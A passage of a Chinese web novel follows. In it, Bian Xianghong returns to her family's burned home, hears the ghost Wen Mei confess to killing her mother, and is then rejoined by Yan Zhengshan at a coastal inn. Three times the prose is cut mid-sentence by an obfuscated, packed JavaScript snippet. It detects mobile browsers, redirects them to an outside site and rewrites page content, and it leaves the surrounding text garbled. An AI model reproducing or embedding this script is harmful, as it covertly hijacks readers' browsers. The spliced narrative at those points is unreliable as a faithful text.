岩正山的眼神随着边镶红的手指看到了那座摇摇欲坠的大门,门框和木门早已腐朽陈化,像极了如今他们两人的境遇。他们两人的尽头原来也是死亡腐烂。他收回眼神,再次看向边镶红,“你知道的,我天生就是有辨认危险的能力,那天白天的时候我路过那片森林,我的直觉一遍遍提醒我一定不要踏足那片森林,所以我那晚很早就睡了。可是我辗转反侧、夜不能寐,我的心很焦虑,或者说很雀跃,所以我第一次违背了我的预感,我踏进了那片森林遇见了你。” “遇见你让我觉得我的人生真的在活着,我对生命有了实感,我的心真的在跳动。但就在刚才,我才明白我的直觉是在帮我避开你。你给予我的片刻欣喜愉悦都成了利刃,我现在万箭穿心,被你杀死了!”岩正山的眼睛酸涩无比,温热的液体大滴大滴滑落,他一样直指着那扇门,“你以为我不会真的离开吗?边镶红,你这样直白坦荡地明说你对我的利用,是笃定我对你的情意,还是笃信我的良心,所以你不屑于说谎哄骗我为你赴汤蹈火。” 边镶红没有预料到岩正山的眼泪,他怎么会多愁善感呢?命好运好,性格就会这样柔软吗?她摇了摇头,“我只是给你选择的机会,我没有被给予的机会,我希望你能拥有。至于你的情意和良心,我都不在意。我不哄骗你,是因为我从不说谎,而且就算我现在谎称我爱上了你,希望你跟我去黄泉找三步山神改命,你会深信不疑跟着我一路披荆斩棘吗?” 岩正山擦掉眼泪,他睁大着双眼凝望着边镶红,“那你算准了我是会走出那扇门,还是留在你身后?” “那是你的选择,不是我的估算!”边镶红转身往外面走出去,岩正山望着她的背影大喊,“边镶红,你站住!”可是边镶红头也不回跨出了那扇破门,被留在原地的岩正山要做出选择。 岩正山知道了什么叫怒极反笑!“哈哈哈!哈哈哈!”他仰头大笑,边镶红一次也没有回头,她不在意他的去留,能留下是助力,离开也无妨。边镶红想要的她一定会拼尽全力去争取去得到,与他岩正山毫无相干!好一个冷情冷血的女人! 边镶红回到了胡金珠家里,刘阿才已经醒来了,只是还有点虚弱躺在床上。胡金珠看到边镶红的身影,连忙走了出来拉着她的手,“小边,真的太谢谢你了!你真是我们家的大福星,大娘真不知道该怎么感谢你!” “大娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16604233|186485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,您太客气了,我并没有做什么。叨扰许久,我应该离开了。”边镶红的告别多少有点意外,胡金珠往门外看了一眼,没看到岩正山的身影,又看到边镶红淡漠的神态,她知道多说无益不再挽留,点头应下,“好。” 边镶红没有行李,那把大刀昨天用完就绑在了小灰背上。她在胡金珠的陪同下去了后院,牵走了小灰,“大娘,这匹马岩正山会看着办的。”追风闻言立马“咴咴咴”好几声,但是边镶和和小灰充耳不闻,胡金珠站在门口看她们一人一驴快速远去,转身回屋那会看到了缓慢走回来的岩正山。他像被霜打蔫的茄子,支棱着躯干,没有生气。 “小岩回来啦,就是小边刚走,往那个方向去了,她的驴跑挺快,但是你的马应该会更快,很快就能追上的!”胡金珠安慰道,岩正山抬头看她,又看了看她手指的方向,摇了摇头,“大娘,我不会去追边镶红的!” 胡金珠愣了一会,岩正山的回答有点出乎意料,但也在情理之中,但是她还是问了一句,“小岩,你真的不去吗?” 岩正山望着那个看不到人影的蜿蜒村路,再次摇了摇头,“我对边镶红的爱意,还没有深刻到为她牺牲自己的生命。”他很快收回了眼神,“大娘,谢谢这两天的照顾,我要回家了。” “你们都太客气了,不过粗茶淡饭。回家好,各回各家也好!”胡金珠走在前面,岩正山的脚步顿住,“边镶红一出生就没有家了,她师傅不久前死了,她又没有家了。” 边镶红无家可归,她要去的云平没有亲人在等她归家,没有人是她的坚强的后盾,她漂泊无依,颠沛流离。 “小边原来这样可怜!”胡金珠没有回头,“那就再也不会有人爱她护着她了!” “她不需要爱!”岩正山脱口而出,“她那样的人,哪里需要有人爱她护她!” 胡金珠听出了岩正山语气里的不满和委屈,她转过身来,“可能小边也这样认为吧,爱来爱去都是债,这样也挺好!小岩,你的马又在叫了,它可能真的想回家了,我们家的牛圈真的太委屈了。” 岩正山在胡金珠的语言里听出了嫌弃、逐客之意,她在为边镶红感到不值,她觉得是他辜负了边镶红! “大娘,您觉得我做错了?”岩正山直接问道,胡金珠立即跪下请罪:“世子息怒,老妇绝无此意!” 刘水木连忙从厨房里走了出来,也跟着跪下,“请世子恕罪,山野村妇莽夫,胡言乱语、招待不周!” “你们快起来。”岩正山以为自己隐藏的很好,“你们什么时候知道的?”胡金珠看了眼刘水木,刘水木领会他回答,“早上世子给的那锭银子,底部可有山南王府的标记,三山成一脉。” 岩正山知道真的该离开了,他颔首,“感谢大娘大叔这两天的照顾!”刘水木摇头不敢认,跟在他后面去牵马。岩正山摸了摸追风的头,“追风,我们回家吧!”追风立即后退,扬起前蹄,表示拒绝。他喊了一声,“追风!”追风沉默了。 刘水木和胡金珠在门口目送岩正山骑着马往反方向跑远了。胡金珠忽然站不稳,差点跌倒,幸亏刘水木及时扶住了她,“老婆子,你没事吧?”胡金珠觉得脑海里一片混沌,晕乎乎的,好像有什么东西从她的意识里消失了。她摇了摇头,想起了她的儿子,焦急万分走进了刘阿才的房间关心他的伤口。 刚跑出村里,追风停了下来,它再次扬起前蹄,“啪”的一声,岩正山扬起马鞭发在了追风的臀上,“我说,我们回家!”他的声音低沉,而威严乍现,势在必行。追风一样发怒,往山南王府的方向奔驰起来。 20. 第 20 章 快午时时,小灰在一棵大树停了下来,边镶红下了驴,从袖子里掏出了一颗西瓜和一颗大白菜,小灰“嘤嘤”叫了一声,既要驴儿跑,又不给驴儿吃饱。边镶红放下了瓜菜,摸了摸小灰的头,“将就一下,小灰,这不是没有从大镇子路过吗?这西瓜和白菜可是你看着农户从田里现摘的,一定新鲜好吃!夏天吃西瓜最好了!”然后蹲下去空手劈开了西瓜,红彤彤,熟的刚刚好,她将西瓜劈成四份,自己拿走了其中一块,权当午餐。 边镶红靠着树干望向远方的山丘,规划着去云平的路线,往东南再一天半的路程左右,明天下午应该就能到了,太慢了。她抬头看了一眼天空,这太阳很大很热,她扔掉了瓜皮,凑在小灰的耳边,“小灰啊,你可不可以再快点,我们早到云平,早吃香喝辣,这回姐姐一定及时兑现诺言给你准备一堆好吃的。小灰啊,你可不是人间那些耐力不足、能力不够的那种凡驴,你是天底下最会奔驰的第一驴,所以等会吃完我们可不可以即刻启程啊?”小灰仍不住扬起后蹄想要踹她一脚,有本事她自己跑啊! 小灰终究如边镶红的所愿,发疯似的狂奔,所以天黑时到了一个前不着村后不着店的山脚下,边镶红借着月光仔细辨认了一下地图,明天中午前一定可以到,再六十里左右就到了云平。她捡了点柴火生了个火堆,盘腿坐下,闭眼等待天亮。 “你将死于十八岁!”边镶红睁开眼睛,伸手掐住凑在她耳边的一只梦灵,“从今夜开始,任何一只打扰我睡觉的梦灵,我一定会毫不留情的杀死!”她放开了手开始画烈火符,“赤焰红光,青烟黑灰,烧!”很快四周想起一片哀嚎声,无数梦灵被被烈火符烧毁化成尘埃。 边镶红从来都不是对梦灵束手无策,而是不想杀死而已。灵魂投胎转世需要剔除执念,被剔除出来的执念无所归依,飘荡于人间,多以入梦的形式在黑夜里激发人的欲望、执念,故有美梦与噩梦之分,也因此获得存在的力量。她从前不与梦灵多加计较是因为要借它们的力量编织梦境探索亡魂生前身后事,但现在她一点点都不想忍了,她又闭上了眼睛,但听到一阵拍手声,今夜还是不会太平安稳。 “我以为你还是会继续受着,看来真相对你的打击非常大。” 边镶红睁开眼睛,是刘阿才中邪的始作俑者,她应该等了她很久,所以这样迫不及待来找她。她站了起来,转过身去,看到了那人的模样,她的脸色很苍白,但容貌清秀,衣着整洁,头发盘起梳妇人髻,金簪银钗错落有致,是个体面的贵妇人。只是怨念太深,平静的神色已经开始皲裂。她的双眼紧紧追随着边镶红的眼神,她要让她看见她的生前。 边镶红侧过头去,“我不想去探究你的世界,明天等我找到了边家,自然会知晓这一切,你不用这么着急,文梅。” 文梅哈哈大笑,“我的确着急,小镶镶,你应该喊我叔母,怎么能直呼其名呢!叔母等了你十八年,应该是不差这么一时半会的。” 边镶红的脸色平静,她虽然没有去探测她的生前,但直觉她是边家人,她点了点头就当问候了。她看着她已经被怨念烧毁的脸庞,平和的说道:“你回去吧,靠近我你会更加难受。我明天可以找到边家的。” 文梅置若恍闻,而是陷入回忆,“你刚出生那会是子时,你哭得很大声,你娘第一次生产,只痛了半夜,大家都说你们母女有福气,稳婆抱着你出来给我们看,你不哭了,吃着手很平静,但一双眼睛深沉似海,乖巧极了。我心里祈祷,明年也让我生个这样乖巧的女儿吧。可是我知道我的身体不能支撑我实现愿望了。我抱着你,你忽然对着我笑了,我决定把你当成我的女儿,我一定像你娘那样疼爱你。” “别说了!”边镶红出言阻止,“我说了,你回去吧!”她转过身去,再次盘腿而坐,闭眼养神。 文梅看着边镶红的背影,又走近了些,蹲了下来,她伸手摸了摸她的头发,却发现手心在燃烧,是边镶红的戾气,她一个生人的戾气比她这样的厉鬼还可怕呢! “如果你娘还在,看到这样的你估计会伤心死的。” 边镶红的耐心消耗殆尽,一掌呼过去,“回去!”很快,文梅就被那股力量带着消失了,夜空中仿佛还有她的笑声。她再次闭上眼睛,进入睡眠。边镶红知道自己近乡情怯,所以更不愿被别人打扰。但在这一刻她还是忍不住想,如果她的母亲还在,没有死亡、没有去投胎,又会是怎样的情形呢?没有人能回答这个问题,夏夜只有风在吹动,连蝉鸣都停止了。 风吹过了边镶红紧闭的双眼,奔腾着向远方而去。岩正山拨开了脸上的头发,身后传来一阵脚步声,他知道是他母亲岩颂来找他了,她关心地唠叨着:“你这个傻孩子,大晚上洗头就算了,还在这里吹风,真以为自己年轻力壮不会生病啊!铁军呢,怎么没拦着你这个傻子,快进屋去。今天风怎么这么大,灯笼都给吹灭了。” 岩正山被拉着进了里屋,灯火通明,岩颂拿出了一块棉布要给他擦头发,他乖巧地坐着享受服务。岩颂忍不住拍了拍他的肩膀,“我儿子长大了,还是一样乖巧可爱,不知道什么时候才会给你爹和你娘娶回来一个更加乖巧可爱的女孩子呢?” “如果她不乖、不可爱,还凶巴巴的,爹和娘也会喜欢她吗?”岩正山想都没想就接过来话茬,边镶红不是讨人喜欢的模样,可是她跟胡大娘又相处得很融洽,她就是只对他恶狠狠。 岩颂笑了,“你喜欢她就够了,我和你爹绝不干涉。所以你明天就去找她,争取把她带回来给我们看看。”这次岩正山回来的情绪很异常,郁郁寡欢,望着他们,欲言又止,他下不了某种决心。可怜追风应该带着他奔驰了一整天,现在还没恢复过来, 岩正山摇了摇头,“她不会想来我们家的。”岩颂放下棉巾,坐到了他的对面,关切问道:“为什么?她一点点都不喜欢你吗?” “是,她不喜欢我!”岩正山看向岩颂,“娘,你知道她姓什么吗?” 此话一出,岩颂忽然心领神会,她一下子站了起来,不可置信地摇了摇头,“她姓边?她是边家的女儿?”岩正山点了点头,她伸手拄着桌沿,慢慢坐了下来,“她这些年还好吗?”岩正山的表情很沉重,自幼失怙怎么会好呢?现在夜深人静,她风餐露宿。 “那你回来干什么?你应该跟着她的,不管她喜不喜欢你,你都要对她好,边家是我们家的恩人。”岩颂刚劝了一句,就被接了话头,“滴水之恩,当涌泉相报。”岩大石从屋外走了进来,“夫人,我这句话没记错吧!我还是很聪慧,过目不忘!”岩颂瞪了他一眼,岩大石知道这会该严肃,不能插科打诨,立即安静严肃起来。 “我知道,娘,我知道。我一定会对边镶红好的,一定会!”尽管边镶红那样明确说了会毫不犹豫地牺牲他,岩正山还是无怨无悔,只是在那之前,他必须要先回家一趟,和他的父母再见一面,好好告别。可是他又无法像边镶红那样直白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16617933|186485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,生人作死别,原来是一件这样困难的事情。他快速侧过头擦掉了眼泪,“娘,爹,边家当年是怎么一回事?你们知道吗?” 岩大石坐了下来,他摇了摇头,“我当时到边家的时候,只看浑身是血的边二嫂,她站在大堂外,抱着一个枕头在呆愣,看到我后发疯似地跑往后院,我看到了厅堂里干爹他们一家四口的尸体,他们脖子都被抹开,鲜血已经流尽。我连忙跟去后院查看边大嫂,但为时已晚,那个刚出生的女婴也不知所踪。我想去找边二夫人问清楚怎么回事,但边家忽然大火,我只能将大嫂的尸身抱出来。大火烧了一夜,边家成了一片废墟,我只能将边大嫂安葬在了旁边,也算他们一家团聚,只是一直没找到二嫂踪迹。” 岩正山想起来了他们家每年清明前必去云平东南处的青山扫墓,坟墓后面的确是火烧后的残迹,“那里就是边家旧址,为什么这些年爹和娘不曾和我说起边家。” “因为害怕,边家的事情太过蹊跷。”岩大石坦白,“你出生以后,我们家跟着飞黄腾达了,我成了本朝唯一一位异姓王,我们和边家的联系也多了起来,我带你去过边家,为你提亲,边大嫂那会还未临盆。我们两家关系这样亲近,边家照理不会死于非命,可是事实就是你的运气无法惠及边家。所以我们不想向你提及边家之事,徒增烦恼。” 他和边镶红是有婚约的,父母之命的婚约。岩正山的心又痛了起来,他望着岩大石,“爹是觉得我们家偷了边家的气运,于心有愧,所以不敢再提!”岩大石喝醉时絮絮叨叨,就会提到他的养父,因为在山上的一块大岩石上捡了他,所以给他取名岩大石,那么好的人家怎么会被灭门呢? 岩颂连忙拉着岩正山的手,“小山,你不要乱说!什么偷不偷的,边家之事是边家的劫数,我们既没有推波助澜也没有袖手旁观,我们一样心痛不已,但问心无愧!” 岩大石摇了摇头,“我也不知道,是不是真的是我们偷了边家的气运?他们家向来行善积德,又与世无争,怎么会落得这样的下场?” 岩颂叹了口气,“不要这样想,命而已!”她再次握紧了岩正山的手,鼓励道:“小山啊,现在你们能再次相遇,说明你们真的有缘分,所以不要轻易放弃!” 岩正山点头,“我也知道我们有缘。”缘分让他和边镶红相遇,如果命中注定他要为边镶红而死,那也好,报恩的确应该涌泉相报。他抱着岩颂,“娘,我明天就出发去云平,边镶红应该也快到了,后面我会一直跟着她的,直到她得偿所愿,直到我还清恩情。如果……” 岩颂拍了拍岩正山的后背安抚道:“如果你死了,我们不会怪你,也不会怪镶红,命而已。”岩正山点了点头,是的,都是命。岩大石立即凑过来,三人抱在一起。 “岩大石,把你沉重的身躯挪开!”岩颂拧了岩大石的手臂内侧,他笑嘻嘻放开了岩颂,“阿颂,手下留情啊!”她站了起来,不理会,而是拍了拍岩正山的肩膀,“小山,你长大了,你比我们更厉害,你读的书多,去的地方也多,你的手上还有利剑。小山,给你取名正山,就是希望你如高山顶天立地,你有你的生命,所以不用顾虑我们。” “阿颂,你说的太好了!”岩大石点头称赞,他拉着岩颂的手,两人并肩而立,“小山,你就放心去吧,你娘有我呢!我们夫妻一体,生死相依。” 夫妻一体,生死相依!岩正山也站了起来,“当年婚约,有凭证和婚书吗?” 21. 第 21 章 “没有。”岩大石摇了摇头,“大哥和大嫂说不想剥夺他们孩子选择人生伴侣的机会,我也觉得有道理,所以我没有强求。” 岩正山松了一口气,又觉得可惜,如果他们有婚约的羁绊会不会更好一点。 岩颂摸了摸岩正山的头,“儿子,你相信缘分吗?我和你爹都相信,如果你对镶红的情意坚定不移,那么你们会终成眷属的!我们就不打扰你了,你好好休息,明天就去找镶红,事情干完之后,记得带她回来,我们一家人一起吃顿饭。” 岩正山望着他的父母,他们脸上无哀戚之意、悲愤之情,多么有爱的父母。他努力带着笑容点了点头,“好的,儿子一定带着心爱之人回家!”他目送着父母的背影走远,他和她一定会回家的。 家,这里是她的家园,边镶红站在一堆残垣断壁前,她的祖父母、父亲和叔父的尸骨都化在了这里。怨气太重,连野草都生长不出来。她往前走,看到了坟墓,一共有三座,其中两座是衣冠冢。她站在坟墓后方,停住了脚步,她的心里有一种从未有过的惆怅,她应该悲伤难过的,可是又有点雀跃,这是她第一次和她的母亲离得这样近,她全部的家人都在此地。 边镶红就那样站着一动不动,不断消化她的情绪,她尝试理解她的母亲现在变成一堆白骨深埋于黄土之中,灵魂进入幽冥,重新变成出生成另一个人。她们明明离得这样近,又离得那样远,太远了。她脸上忽然有热意滑过,她竟然还是会流泪,她应该要流泪的。如果他们都还活着,会是怎么样的光景?边镶红瞬间失重,跌坐在荒地上,她想象不出来。她终究是没有那样的幸运。 “不要哭!”文梅显现身影,她伸手替边镶红擦掉了眼泪,“小镶镶,不要哭。”她的手指再次被烧成青灰,文梅心痛边镶红连眼泪都带着戾气。命运为何如此苛待她呢! 边镶红侧开头站了起来,她看着文梅平静的双眼,两人四目相对,她看到了当年的一切。白荼利用了她的嫉妒之心,附身在了她身上,掐死了她的母亲抱走她,边家人将她拦住,白荼便在边家大开杀戒。没有什么复杂的过程,就是龙景来得太迟了,他太迟了。她闭上眼睛再次睁开,眼睛里的情绪冷静了下来,“你是想被我亲手销毁掉才留在这里吗?” “是,我的手沾满了血,我应该被你彻底杀死。”文梅忍不住抚摸着边镶红的脸庞,她的眼里不该有这样悲痛的眼泪。“我知道你一定会回来的,这里是你的家园,茶香会指引你回到这里来的。在你没回来之前,我要守在这里。” 边镶红伸手紧紧掐住文梅的脖子,像她掐死她的母亲那样。 “对不起!”文梅的眼里应该会流出泪水的,她在这一刻是真的在认真忏悔,可是她死了,鬼没有眼泪。“你娘比我早三年嫁入边家,她一直没有生养。而我很快怀孕了,可是入冬的时候我不小心摔了一跤,小产又受了风寒,大夫说我很难受孕了。次年秋天的时候,你娘怀孕了,她在来年夏天生下了你,你刚出生哭得很大声,但全家都笑很开心,我知道新生命新希望。他们在我面前都克制他们的喜悦,他们同情我。你娘安慰我,我很快也会诞下麟儿的。她让我一定要第一个抱你,抱抱你我很快也会孕育出新生命的。所以我比她更早抱住了你小小、软软的身躯,也是我的双手掐住她的脖颈,害她失去呼吸。” 边镶红手上愈发用力,她真的想要掐死文梅。 痛感很强烈,边镶红的戾气从脖颈处向全身上下燃烧,文梅的灵魂被火焰包裹着,再烧下去她就会成为一堆灰了。在那之前,她再次道歉,“对不起。是我的错,是我偏执地认为我小产后,你娘夺走了我的气运,所以你娘能这样平安生下你,山南王为他的儿子向边家提亲,可是你娘拒绝了,她是那样宽容开明、不慕权贵的母亲。而我呢,我未世的孩子呢,我嫉妒你娘,我怨恨你娘,尽管我知道她没有做错任何事,可是我恨她。” “是我的怨念害死了你娘!对不起!”文梅的手掌手腕已经化为灰烬,她的头颅摇摇欲坠,边镶红终究还是放开了手,“我知道当年之事,不是出自你本意,你只是被白荼控制住了心神,但我还是不会原谅你的!”真正的凶手是白荼,那个没有是非善恶之分的白荼。 文梅点了点头,“小镶镶,我知道我不值得被原谅!”她用仅存的两只胳膊紧紧抱着边镶红,“我只是想和你道歉,对不起,对不起,对不起!” 边镶红第一次在拥抱中感受不到任何温暖,鬼连被烧成灰都没有温度,没有风,青灰飘扬都漂浮不了。她低头眼泪落下,“嗒”一声滴在那堆灰上,没有起伏。时间腐蚀掉了血肉,却没有消除情感。她蹲了下来,用手挖了一捧土覆盖住了那堆青灰。她起身走到了墓碑前,看到了居中的那座墓碑,“显考边府君贤、妣林孺人讳福之墓”,右边的坟墓是她父母的,“先兄边敬年、嫂陈讳世华之墓”,左边是她叔父“先兄边敬安之墓”,文梅当时生死不明,所以没有合葬,现在她大概也是不想和她叔父合葬的。 落款人都是岩大石,她在文梅的记忆里看到了他,岩正山的父亲。是他为边家人处理的身后事,他这样立碑,应该是为了她日后回来能知道自己的祖母和母亲的姓名。怪不得岩正山听说她姓边以后,神色怪异,还热心要带她来云平。岩大石的姓名是她祖父赐予的,他们两家真是有奇奇怪怪的缘分。 边镶红双膝跪地,朝着三座坟墓三叩首,他们此生的缘分只能到此了。但灭门之仇她一定会报,她一定会回到三步山,烧死白荼。她起身再看了一眼她父母的坟墓,头也不回地走远了。天黑之前她到了山南国与西云郡的交界处黑水镇,边镶红的直觉告诉她三步神在西云郡的西南处,那里应该有连绵不断的高山,高山之下就是幽冥黄泉。而去西云郡最便捷的方式就是渡海,边镶红没有见过海、坐过船,所以她不会贸然赶路。她给小灰买了很多瓜果蔬菜,牵着小灰走在街道上,她要找了间客栈投宿停留一晚,打听好渡船再启程。 天已经全黑了,街上的店家都点燃了烛火,黑夜不再黑暗,人流也逐渐拥挤了起来,这里和青云镇冷淡的夜晚不一样。她刚走上石桥,小灰加了一声,她回头,看到长街灯火通明金光闪闪,像一条金龙要一飞冲天。小灰又叫了一声,不是预警提醒,她摸了摸驴头,不明白小灰的意思,小灰往后转头,边镶红跟着抬头看了一眼,她看到了岩正山,他骑着追风从街道中央奔驰而来,夜风吹过追风的鬃毛,吹过岩正山的面庞,吹散他的声音,他在喊“镶红”,他老是不肯连名带姓喊她。 边镶红看着岩正山,他在摇曳的火光中一点点朝她靠近,而她一时间不理解为何会在这遇见他。他真的不介意被他利用到至极吗?她转过身去,拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16650978|186485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着小灰下了桥,桥的尽头有座客栈,旗帜上写着“安顺客栈”,她牵着驴走了过去。店伙计一样迎了出来,边镶红将小灰的缰绳交给了他,卸下了茶具包袱和大刀。她摸了摸小灰的头,“刚刚已经吃了很多东西,晚上就不要再吃了。”她看向店伙计,“等会给我的驴备一桶清水,明早除了水还有四颗白菜、三颗包菜,天刚亮就给他备好。” 店伙计有点惊讶这驴的伙食竟然是蔬菜,但还是点头应下。边镶红掏出一块碎银递给他,伙计笑着道谢,收下了。边镶红刚要走进客栈,就听到追风叫了好几声“咴儿咴儿”,声音里透着喜悦,他们停在了她的身后。她顿住了脚步,转过身来。 岩正山刚下马,就撞进了边镶红的眼神里,他一时不知所措。刚好店里面已经跑出来另一个伙计,接过了追风的缰绳,他吩咐道:“两间上房,现在再去打扫一遍,被褥一定要全新的。”伙计看他一身华贵,马亦是有市无价的千里马,立即恭敬应下,牵马走进后院去了。 客栈堂前又剩他们二人,边镶红开门见山,“你真的愿意被我杀死吗?” 岩正山闻言还是觉得难过,为何她如此笃信他们一定不得善终。“镶红,你知道吗?我昨天在听我爹谈及往事之时,忍不住设想,如果边家没有遭遇横祸,边伯母也没有拒绝我们的婚约,我们自小青梅竹马长大,现在会不会也是一对神仙眷侣?” 婚约?“你是山南王世子?你爹是山南王?”岩大石不是孤儿吗?本朝国姓是方,孤儿怎么会成为镇守一方的诸侯?边镶红不知道岩正山的身份,她并没有完全看到文梅的生前,所以遗漏了一部分事情。 “你不知道吗?”岩正山问道,边镶红摇头,“我只看到你爹收敛了我家人的尸骨,为他们建坟立碑而已。”她往外走去,看着流动缓慢的小河,“你爹是在你出生以后被封王的吗?”她不难猜出是因为岩正山的好运好命影响了岩大石的人生轨迹。 岩正山跟在边镶红后面,没有隐瞒,“是,我出生以后,我爹偶然救下了当今圣上,圣上为打压当时山南郡郡守,撤郡改封国,册封我爹为山南王,协助朝廷派出的三位长史共同治理山南国,但我爹目不识丁、乡野村夫,根本不可能处理好山南地区的政务,圣上以这样的形式加强了对山南重镇的治理。我虽然被册封为世子,爵位并非世袭罔替,而是三代而止。” “我也思考过,是不是我的出生侵夺了你们边家的气运。” 边镶红想起岩正山也曾经说过,是不是他偷走了她人生中的所有好运气,现在想来可能真的有一定道理。不!边镶红立马又进行了否定,是神有失偏颇,不够公允。 “你不是始作俑者,所以我不在意你们家与我们家的运势发展。”边镶红转过身来,抬头看着岩正山,“你也不用去设想我们没有经历过的从前,人生没有如果。” 边镶红的话还是太尖锐了,就想刚才她看到了、听到了他在喊她,可是她还是转身先走了。岩正山看着她淡漠的眼神,忽然在想她看到家人坟墓时,在想什么,她在那里痛哭流涕哀伤着命运,还是这样淡漠地凝望着那些冰冷的墓碑。 岩正山一字一句说道,“不,我不想被你杀死!如果我们真的到了非要你死我活的地步,那我一定会拼劲全力杀死你,活下去!我希望你能死在我手里,你的生死要由我来决定!” 22. 第 22 章 边镶红稍微抬着头看着岩正山,他的眼神还是那样热烈、坚定,她忍不住想如果边家真的没有罹难,他们自幼相熟,现在又会是什么样的?人总是会止不住地去假想没有经历过的事,爱好虚无。 “好,如果你真的能杀死我的话,死在你手里应该会少遭受一点痛苦。” 边镶红冷静的态度就像一把烧的极旺的火,炙烤着岩正山的身心,他的眼眶最先被灼热,他往前走了几步,低头看着奔流的河水。她见状转身想走,但岩正山出声喊了一声,“边镶红!”又不声不响。边镶红还是再次转过身来一样看着河水,月亮照在上面,河里也有了月亮,跟心肠柔软的人在一起久了,似乎心肠也跟着变柔软了。 “岩正山,你知道吗?我见过好多鬼,他们的人生,我也都经历过一遍。见多了,我的心变得坚硬无比,也跟着千疮百孔。所以你的情义,我很感动,但也仅此而已。你不该回来的,回来了就安静地等待命运。” 在用语言杀人这件事上,边镶红的嘴异常锐利。岩正山伸手抓住河边的栏杆,“我说过,我不会让你杀死我的。” 边镶红闻言,终于转身离开了。岩正山听到她的脚步声远去,快速擦掉眼泪,也转身进了客栈。 “为什么这几天没有船家愿意出海?”边镶红正在询问店小二,“这么大的镇子所有船家都不出海吗?” 店小二点点头,“客官远道而来有所不知,七月中旬我们这就不会出海,无论是捕鱼还是渡海,尤其是渡海一定会停止运营的,客官想去西云郡,要么等下旬,要么走陆路。但走陆路所要花费的时间要比等下旬开海了坐渡船去还久。” “什么缘故?”边镶红不解,这十天为什么不能出海。岩正山在她旁边落座,想起他听过的黑水镇的传说,这里的海里住着一只鬼,“是因为海鬼吗?” “那是海神。”店小二纠正道,“那几日是海神最讨厌的日子,所以我们和西云郡的人都不会出海去打扰海神清静。” 边镶红眉头一皱,“鬼就是鬼,变不成神!既然没人要出海,我自己出海,你们这哪里有卖船的?” 店小二神情有点惊讶,岩正山问道:“你会扬帆开船?辨认方向?”他猜测她从小就在山上长大,对大海和船应该很陌生。 边镶红想了想,她刚开始也不会骑驴,现在不也挺擅长的,她点了点头,“应该会。” “所以你不会!”岩正山很肯定,他看向店小二问道:“小二,不管出多少钱,你们这都不会有船家愿意送我们渡海对吗?”他知道边镶红不会再等六天的。 “是,在这十天里,我们黑水镇的人都不会出海。”店小二很肯定地回答,“若是二位贵客不信,随便去街上找人问问看。” “那你们这总愿意卖船吧,你们最大的船厂在哪里?”边镶红知道人对能力强大的鬼总怀有敬畏之心,那海鬼看起来也和这里的人相安无事,所以她不勉强。 店小二也是人精,他看到边镶红的神情严肃,不似玩笑,他刚收了她一块银子,估计有二两重,他乐意做这个中间人。“客官,今夜太晚了,船厂关门了,明早我亲自带您过去顺风船厂可以吗?” “好,那就明天早上再去。”边镶红起身要走,岩正山问道:“你不吃饭了?” “我不饿。”边镶红的确没有感到饿意,岩正山拉住了她的袖子,“那也要吃饭!” “二位贵客稍等,后厨已经快备好了,马上为二位上菜!”店小二识趣地退了下去,边镶红想了一下,坐了下来,明天要干活还是吃点饭好,而且她也想听听那只海鬼的底细。 “你这几天都没有好好吃饭对吗?” 边镶红看了一眼严正山,她不是很想和他说这些生活的细枝末节,“严正山,你不用刻意或者自然地关心我。那只鬼什么来历?” “那一定是没有好好吃饭了,我娘给你准备了很多吃的,本来想现在就都拿出来给你,但明天我们要出海,海上没有吃食,到时候我们再吃那些。”严正山自然接话,但就是跳过了边镶红前边的话头。 他倒了一杯水放在边镶红面前,“相传五百多年前,黑水镇的一男子出海捕鱼,许久未归,所有人都认为他已经葬身鱼腹了,他的妻子一直哀求同村人带她出海去找她的丈夫,但渔民们都不准妇女上船,所以她决定自己造船,她用了一年的时间,从伐木开始,终于造出了一条小船,她迫不及待地出海寻找她的丈夫。可是大海茫茫,又遇台风,风浪掀翻了她的小船,她没有找到她的丈夫,自己也葬身海底,就变成了海鬼,继续等待她的丈夫归家。” 这么俗套的故事吗?还是这些都是假象,实情根本不是这样的,还是得亲自见一见那只鬼。边镶红点了点头,表示了解了,“那现在女子也可以出海捕鱼吗?”刚刚店小二对女子渡海、买船都没有表达出任何异议,应该就是没有限制了。那女鬼的存在应该改变了这里歧视女性出海的传统,刚刚一路走来可以看到街道上的各个年龄阶层的女性也很多。 